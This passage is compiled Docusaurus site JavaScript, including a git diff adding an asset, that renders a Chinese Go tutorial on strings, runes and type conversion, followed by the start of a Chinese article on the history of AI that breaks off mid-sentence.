\u8bed\u8a00\u4e2d\u4e0d\u5141\u8bb8\u5c06\u6574\u578b\u5f3a\u5236\u8f6c\u6362\u4e3a\u5e03\u5c14\u578b."}),"\n",(0,s.jsx)(e.li,{children:"\u5e03\u5c14\u578b\u65e0\u6cd5\u53c2\u4e0e\u6570\u503c\u8fd0\u7b97\uff0c\u4e5f\u65e0\u6cd5\u4e0e\u5176\u4ed6\u7c7b\u578b\u8fdb\u884c\u8f6c\u6362\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5b57\u7b26\u4e32",children:"\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684\u5b57\u7b26\u4e32\u4ee5\u539f\u751f\u6570\u636e\u7c7b\u578b\u51fa\u73b0\uff0c\u4f7f\u7528\u5b57\u7b26\u4e32\u5c31\u50cf\u4f7f\u7528\u5176\u4ed6\u539f\u751f\u6570\u636e\u7c7b\u578b\uff08int\u3001bool\u3001float32\u3001float64 \u7b49\uff09\u4e00\u6837\u3002 Go \u8bed\u8a00\u91cc\u7684\u5b57\u7b26\u4e32\u7684\u5185\u90e8\u5b9e\u73b0\u4f7f\u7528",(0,s.jsx)(e.code,{children:"UTF-8"}),"\u7f16\u7801\u3002 \u5b57\u7b26\u4e32\u7684\u503c\u4e3a",(0,s.jsx)(e.code,{children:'\u53cc\u5f15\u53f7(")'}),"\u4e2d\u7684\u5185\u5bb9\uff0c\u53ef\u4ee5\u5728Go\u8bed\u8a00\u7684\u6e90\u7801\u4e2d\u76f4\u63a5\u6dfb\u52a0\u975eASCII\u7801\u5b57\u7b26\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s1 := "hello"\ns2 := "\u4f60\u597d"\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26",children:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26"}),"\n",(0,s.jsx)(e.p,{children:"Go \u8bed\u8a00\u7684\u5b57\u7b26\u4e32\u5e38\u89c1\u8f6c\u4e49\u7b26\u5305\u542b\u56de\u8f66\u3001\u6362\u884c\u3001\u5355\u53cc\u5f15\u53f7\u3001\u5236\u8868\u7b26\u7b49\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8f6c\u4e49\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u542b\u4e49"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\r"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u56de\u8f66\u7b26\uff08\u8fd4\u56de\u884c\u9996\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\n"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6362\u884c\u7b26\uff08\u76f4\u63a5\u8df3\u5230\u4e0b\u4e00\u884c\u7684\u540c\u5217\u4f4d\u7f6e\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\t"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5236\u8868\u7b26"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\'"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5355\u5f15\u53f7"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:'\\"'})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u53cc\u5f15\u53f7"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\\\"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u53cd\u659c\u6760"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u8981\u6253\u5370\u4e00\u4e2aWindows\u5e73\u53f0\u4e0b\u7684\u4e00\u4e2a\u6587\u4ef6\u8def\u5f84\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\nimport (\n "fmt"\n)\nfunc main() {\n fmt.Println("str := \\"c:\\\\Code\\\\lesson1\\\\go.exe\\"")\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u591a\u884c\u5b57\u7b26\u4e32",children:"\u591a\u884c\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u8981\u5b9a\u4e49\u4e00\u4e2a\u591a\u884c\u5b57\u7b26\u4e32\u65f6\uff0c\u5c31\u5fc5\u987b\u4f7f\u7528",(0,s.jsx)(e.code,{children:"\u53cd\u5f15\u53f7"}),"\u5b57\u7b26\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"s1 := `\u7b2c\u4e00\u884c\n\u7b2c\u4e8c\u884c\n\u7b2c\u4e09\u884c\n`\nfmt.Println(s1)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u53cd\u5f15\u53f7\u95f4\u6362\u884c\u5c06\u88ab\u4f5c\u4e3a\u5b57\u7b26\u4e32\u4e2d\u7684\u6362\u884c\uff0c\u4f46\u662f\u6240\u6709\u7684\u8f6c\u4e49\u5b57\u7b26\u5747\u65e0\u6548\uff0c\u6587\u672c\u5c06\u4f1a\u539f\u6837\u8f93\u51fa\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c",children:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u4ecb\u7ecd"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"len(str)"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6c42\u957f\u5ea6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"+\u6216fmt.Sprintf"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u62fc\u63a5\u5b57\u7b26\u4e32"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.Split"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5206\u5272"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.contains"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5224\u65ad\u662f\u5426\u5305\u542b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.HasPrefix,strings.HasSuffix"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u524d\u7f00/\u540e\u7f00\u5224\u65ad"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.Index(),strings.LastIndex()"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5b50\u4e32\u51fa\u73b0\u7684\u4f4d\u7f6e"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.Join(a[]string, sep string)"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"join\u64cd\u4f5c"})]})]})]}),"\n",(0,s.jsx)(e.h2,{id:"byte\u548crune\u7c7b\u578b",children:"byte\u548crune\u7c7b\u578b"}),"\n",(0,s.jsx)(e.p,{children:"\u7ec4\u6210\u6bcf\u4e2a\u5b57\u7b26\u4e32\u7684\u5143\u7d20\u53eb\u505a\u201c\u5b57\u7b26\u201d\uff0c\u53ef\u4ee5\u901a\u8fc7\u904d\u5386\u6216\u8005\u5355\u4e2a\u83b7\u53d6\u5b57\u7b26\u4e32\u5143\u7d20\u83b7\u5f97\u5b57\u7b26\u3002 \u5b57\u7b26\u7528\u5355\u5f15\u53f7\uff08\u2019\uff09\u5305\u88f9\u8d77\u6765\uff0c\u5982\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var a = '\u4e2d'\nvar b = 'x'\n"})}),"\n",(0,s.jsx)(e.p,{children:"Go \u8bed\u8a00\u7684\u5b57\u7b26\u6709\u4ee5\u4e0b\u4e24\u79cd\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"uint8"}),"\u7c7b\u578b\uff0c\u6216\u8005\u53eb byte \u578b\uff0c\u4ee3\u8868\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"ASCII\u7801"}),"\u5b57\u7b26\u3002"]}),"\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"rune"}),"\u7c7b\u578b\uff0c\u4ee3\u8868\u4e00\u4e2a ",(0,s.jsx)(e.code,{children:"UTF-8\u5b57\u7b26"}),"\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u5f53\u9700\u8981\u5904\u7406\u4e2d\u6587\u3001\u65e5\u6587\u6216\u8005\u5176\u4ed6\u590d\u5408\u5b57\u7b26\u65f6\uff0c\u5219\u9700\u8981\u7528\u5230",(0,s.jsx)(e.code,{children:"rune"}),"\u7c7b\u578b\u3002",(0,s.jsx)(e.code,{children:"rune"}),"\u7c7b\u578b\u5b9e\u9645\u662f\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"int32"}),"\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"Go \u4f7f\u7528\u4e86\u7279\u6b8a\u7684 rune \u7c7b\u578b\u6765\u5904\u7406 Unicode\uff0c\u8ba9\u57fa\u4e8e Unicode \u7684\u6587\u672c\u5904\u7406\u66f4\u4e3a\u65b9\u4fbf\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528 byte \u578b\u8fdb\u884c\u9ed8\u8ba4\u5b57\u7b26\u4e32\u5904\u7406\uff0c\u6027\u80fd\u548c\u6269\u5c55\u6027\u90fd\u6709\u7167\u987e\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'// \u904d\u5386\u5b57\u7b26\u4e32\nfunc traversalString() {\n\ts := "hello\u6c99\u6cb3"\n\tfor i := 0; i < len(s); i++ { //byte\n\t\tfmt.Printf("%v(%c) ", s[i], s[i])\n\t}\n\tfmt.Println()\n\tfor _, r := range s { //rune\n\t\tfmt.Printf("%v(%c) ", r, r)\n\t}\n\tfmt.Println()\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"104(h) 101(e) 108(l) 108(l) 111(o) 230(\xe6) 178(\xb2) 153() 230(\xe6) 178(\xb2) 179(\xb3) \n104(h) 101(e) 108(l) 108(l) 111(o) 27801(\u6c99) 27827(\u6cb3) \n"})}),"\n",(0,s.jsx)(e.p,{children:"\u56e0\u4e3aUTF8\u7f16\u7801\u4e0b\u4e00\u4e2a\u4e2d\u6587\u6c49\u5b57\u75313~4\u4e2a\u5b57\u8282\u7ec4\u6210\uff0c\u6240\u4ee5\u6211\u4eec\u4e0d\u80fd\u7b80\u5355\u7684\u6309\u7167\u5b57\u8282\u53bb\u904d\u5386\u4e00\u4e2a\u5305\u542b\u4e2d\u6587\u7684\u5b57\u7b26\u4e32\uff0c\u5426\u5219\u5c31\u4f1a\u51fa\u73b0\u4e0a\u9762\u8f93\u51fa\u4e2d\u7b2c\u4e00\u884c\u7684\u7ed3\u679c\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u5b57\u7b26\u4e32\u5e95\u5c42\u662f\u4e00\u4e2abyte\u6570\u7ec4\uff0c\u6240\u4ee5\u53ef\u4ee5\u548c",(0,s.jsx)(e.code,{children:"[]byte"}),"\u7c7b\u578b\u76f8\u4e92\u8f6c\u6362\u3002\u5b57\u7b26\u4e32\u662f\u4e0d\u80fd\u4fee\u6539\u7684 \u5b57\u7b26\u4e32\u662f\u7531byte\u5b57\u8282\u7ec4\u6210\uff0c\u6240\u4ee5\u5b57\u7b26\u4e32\u7684\u957f\u5ea6\u662fbyte\u5b57\u8282\u7684\u957f\u5ea6\u3002 rune\u7c7b\u578b\u7528\u6765\u8868\u793autf8\u5b57\u7b26\uff0c\u4e00\u4e2arune\u5b57\u7b26\u7531\u4e00\u4e2a\u6216\u591a\u4e2abyte\u7ec4\u6210\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u4fee\u6539\u5b57\u7b26\u4e32",children:"\u4fee\u6539\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(e.p,{children:["\u8981\u4fee\u6539\u5b57\u7b26\u4e32\uff0c\u9700\u8981\u5148\u5c06\u5176\u8f6c\u6362\u6210",(0,s.jsx)(e.code,{children:"[]rune"}),"\u6216",(0,s.jsx)(e.code,{children:"[]byte"}),"\uff0c\u5b8c\u6210\u540e\u518d\u8f6c\u6362\u4e3a",(0,s.jsx)(e.code,{children:"string"}),"\u3002\u65e0\u8bba\u54ea\u79cd\u8f6c\u6362\uff0c\u90fd\u4f1a\u91cd\u65b0\u5206\u914d\u5185\u5b58\uff0c\u5e76\u590d\u5236\u5b57\u8282\u6570\u7ec4\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func changeString() {\n\ts1 := \"big\"\n\t// \u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\n\tbyteS1 := []byte(s1)\n\tbyteS1[0] = 'p'\n\tfmt.Println(string(byteS1))\n\n\ts2 := \"\u767d\u841d\u535c\"\n\truneS2 := []rune(s2)\n\truneS2[0] = '\u7ea2'\n\tfmt.Println(string(runeS2))\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u7c7b\u578b\u8f6c\u6362",children:"\u7c7b\u578b\u8f6c\u6362"}),"\n",(0,s.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u53ea\u6709\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\uff0c\u6ca1\u6709\u9690\u5f0f\u7c7b\u578b\u8f6c\u6362\u3002\u8be5\u8bed\u6cd5\u53ea\u80fd\u5728\u4e24\u4e2a\u7c7b\u578b\u4e4b\u95f4\u652f\u6301\u76f8\u4e92\u8f6c\u6362\u7684\u65f6\u5019\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\u7684\u57fa\u672c\u8bed\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"T(\u8868\u8fbe\u5f0f)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff0cT\u8868\u793a\u8981\u8f6c\u6362\u7684\u7c7b\u578b\u3002\u8868\u8fbe\u5f0f\u5305\u62ec\u53d8\u91cf\u3001\u590d\u6742\u7b97\u5b50\u548c\u51fd\u6570\u8fd4\u56de\u503c\u7b49."}),"\n",(0,s.jsx)(e.p,{children:"\u6bd4\u5982\u8ba1\u7b97\u76f4\u89d2\u4e09\u89d2\u5f62\u7684\u659c\u8fb9\u957f\u65f6\u4f7f\u7528math\u5305\u7684Sqrt()\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u63a5\u6536\u7684\u662ffloat64\u7c7b\u578b\u7684\u53c2\u6570\uff0c\u800c\u53d8\u91cfa\u548cb\u90fd\u662fint\u7c7b\u578b\u7684\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u5c06a\u548cb\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\u4e3afloat64\u7c7b\u578b\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func sqrtDemo() {\n\tvar a, b = 3, 4\n\tvar c int\n\t// math.Sqrt()\u63a5\u6536\u7684\u53c2\u6570\u662ffloat64\u7c7b\u578b\uff0c\u9700\u8981\u5f3a\u5236\u8f6c\u6362\n\tc = int(math.Sqrt(float64(a*a + b*b)))\n\tfmt.Println(c)\n}\n"})})]})}function o(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(h,{...n})}):h(n)}}}]); \ No newline at end of file diff --git a/assets/js/3dfb8743.896ed7b3.js b/assets/js/3dfb8743.896ed7b3.js new file mode 100644 index 0000000..77b2625 --- /dev/null +++ b/assets/js/3dfb8743.896ed7b3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7958],{24435:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>x,frontMatter:()=>r,metadata:()=>l,toc:()=>h});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","title":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u96f6\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/"},"next":{"title":"0.2 \u8bc4\u4ef7\u6307\u6807.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807"}}');var t=i(74848),s=i(28453);const r={},d="0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md",c={},h=[{value:"1.1 \u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e",id:"11-\u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e",level:2},{value:"1.1.1 \u7b2c\u4e00\u6b21\u6d6a\u6f6e",id:"111-\u7b2c\u4e00\u6b21\u6d6a\u6f6e",level:3},{value:"1.1.2 \u7b2c\u4e8c\u6b21\u6d6a\u6f6e",id:"112-\u7b2c\u4e8c\u6b21\u6d6a\u6f6e",level:3},{value:"1.1.3 \u7b2c\u4e09\u6b21\u6d6a\u6f6e",id:"113-\u7b2c\u4e09\u6b21\u6d6a\u6f6e",level:3},{value:"1.1.4 \u603b\u7ed3",id:"114-\u603b\u7ed3",level:3},{value:"1.2 DL,ML,AI\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb",id:"12-dlmlai\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb",level:2},{value:"1.2.1 DL\u548cML\u662f\u4ec0\u4e48",id:"121-dl\u548cml\u662f\u4ec0\u4e48",level:3},{value:"1.2.2 \u5b83\u4eec\u548cAI\u7684\u5173\u7cfb",id:"122-\u5b83\u4eec\u548cai\u7684\u5173\u7cfb",level:3}];function a(e){const n={h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"01-\u4eba\u5de5\u667a\u80fd\u7b80\u53f2md",children:"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"\u4eba\u5de5\u667a\u80fd\u7b80\u53f2",children:"\u4eba\u5de5\u667a\u80fd\u7b80\u53f2"}),"\n",(0,t.jsx)(n.p,{children:"\u81ea\u4ece\u56fe\u7075\u57281950\u5e74\u7b2c\u4e00\u6b21\u63d0\u51fa\u201c\u673a\u5668\u667a\u80fd\uff08Machine Intelligence\uff09\u201d\u8fd9\u4e2a\u6982\u5ff5\u4ee5\u6765\uff0c\u4eba\u5de5\u667a\u80fd\u5df2\u7ecf\u7ecf\u5386\u4e86\u4e03\u5341\u4f59\u5e74\u7684\u53d1\u5c55\u3002\u5728\u8fd9\u4e03\u5341\u591a\u5e74\u4e2d\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u5148\u540e\u7ecf\u5386\u4e86\u4e09\u6b21\u6d6a\u6f6e\uff0c\u6bcf\u4e00\u6b21\u6d6a\u6f6e\u5bf9\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u6765\u8bf4\uff0c\u90fd\u662f\u5177\u6709\u91cc\u7a0b\u7891\u610f\u4e49\u7684\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u5c06\u4ee5\u8fd9\u4e09\u6b21\u6d6a\u6f6e\u4e3a\u4e3b\u7ebf\uff0c\u4e3a\u5927\u5bb6\u4ecb\u7ecd\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u5386\u7a0b\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u4e5f\u5c06\u4f1a\u7ed9\u5927\u5bb6\u4ecb\u7ecd\u73b0\u5728\u5e38\u8bf4\u7684Deep learning\uff0cMachine Learning\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb\u3002"}),"\n",(0,t.jsx)(n.p,{children:"[* ]\u901a\u8fc7\u672c\u7ae0\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3\u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.li,{children:"\u4e86\u89e3Deep learning\uff0cMachine learning\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb"}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"11-\u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e",children:"1.1 \u4eba\u5de5\u667a\u80fd\u7684\u4e09\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.h3,{id:"111-\u7b2c\u4e00\u6b21\u6d6a\u6f6e",children:"1.1.1 \u7b2c\u4e00\u6b21\u6d6a\u6f6e"}),"\n",(0,t.jsx)(n.p,{children:"1950\u5e74\uff0c\u963f\u5170\xb7\u56fe\u7075\u53d1\u8868\u8457\u540d\u8bba\u6587\u300a\u8ba1\u7b97\u673a\u5668\u4e0e\u667a\u80fd\u300b\uff0c\u5728\u8fd9\u7bc7\u8bba\u6587\u4e2d\uff0c\u4ed6\u63d0\u51fa\u4e86\u673a\u5668\u601d\u7ef4\u7684\u6982\u5ff5\u548c\u56fe\u7075\u6d4b\u8bd5\uff0c\u6807\u5fd7\u7740\u201c\u673a\u5668\u7684\u667a\u80fd\u5316\u201d\u6b63\u5f0f\u8fdb\u5165\u4eba\u7c7b\u7684\u79d1\u6280\u6811\u3002\u5728\u6b64\u4e4b\u540e\u7684\u6570\u5e74\u95f4\uff0c\u673a\u5668\u667a\u80fd\u6709\u4e86\u8fdb\u4e00\u6b65\u7684\u53d1\u5c55\u3002\u4e24\u5e74\u540e\u76841952\u5e74\uff0c\u8ba1\u7b97\u673a\u79d1\u5b66\u5bb6\u963f\u745f\xb7\u8428\u7f2a\u5c14\u5f00\u53d1\u51fa\u4e00\u6b3e\u8df3\u68cb\u7a0b\u5e8f\uff0c\u5e76\u63d0\u51fa\u4e86\u201c\u673a\u5668\u5b66\u4e60\u201d\u8fd9\u4e2a\u6982\u5ff5\u3002\u5728\u6b64\u4e4b\u540e\u76844\u5e74\u91cc\uff0c\u673a\u5668\u667a\u80fd\u5316\u4e5f\u53d6\u5f97\u4e86\u4e00\u5b9a\u7684\u8fdb\u6b65\uff0c\u76f4\u52301956\u5e74\u7684\u8fbe\u7279\u8305\u65af\u4f1a\u8bae\u4e0a\uff0c\u7ea6\u7ff0\xb7\u9ea6\u5361\u9521\u6b63\u5f0f\u63d0\u51fa\u4e86\u201c\u4eba\u5de5\u667a\u80fd\u201d\u8fd9\u4e2a\u8bcd\u8bed\uff0c1956\u5e74\uff0c\u4e5f\u5c31\u6210\u4e3a\u4e86\u5b9e\u9645\u610f\u4e49\u4e0a\u7684\u4eba\u5de5\u667a\u80fd\u5143\u5e74\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8fbe\u7279\u8305\u65af\u4f1a\u8bae\u4e4b\u540e\uff0c\u4eba\u5de5\u667a\u80fd\u8fdb\u5165\u4e86\u4e00\u4e2a\u9ad8\u901f\u53d1\u5c55\u7684\u65f6\u671f\uff0c\u4e5f\u5c31\u662f\u6240\u8c13\u7684\u201c\u7b2c\u4e00\u6b21\u6d6a\u6f6e\u201d\u3002\u8fd9\u6b21\u6d6a\u6f6e\u4e00\u76f4\u6301\u7eed\u5230\u4e8c\u5341\u4e16\u7eaa\u516d\u5341\u5e74\u4ee3\u4e2d\u671f\u3002\u5728\u8fd9\u8fd110\u5e74\u7684\u65f6\u95f4\u91cc\uff0c\u8ba1\u7b97\u673a\u672c\u8eab\u7684\u201c\u667a\u80fd\u201d\u5e76\u6ca1\u6709\u5f97\u5230\u53d1\u5c55\uff0c\u5feb\u901f\u8fdb\u6b65\u7684\u662f\u4eba\u5de5\u667a\u80fd\u7684\u4e00\u4e9b\u7406\u8bba\u4e0e\u7b97\u6cd5\u65b9\u9762\u3002\u5f88\u591a\u5bf9\u540e\u6765\u4eba\u5de5\u667a\u80fd\u53d1\u5c55\u8d77\u5230\u5960\u57fa\u4f5c\u7528\u7684\u7b97\u6cd5\u2014\u2014\u5982\u7f57\u68ee\u5e03\u62c9\u7279\u57281957\u5e74\u53d1\u660e\u611f\u77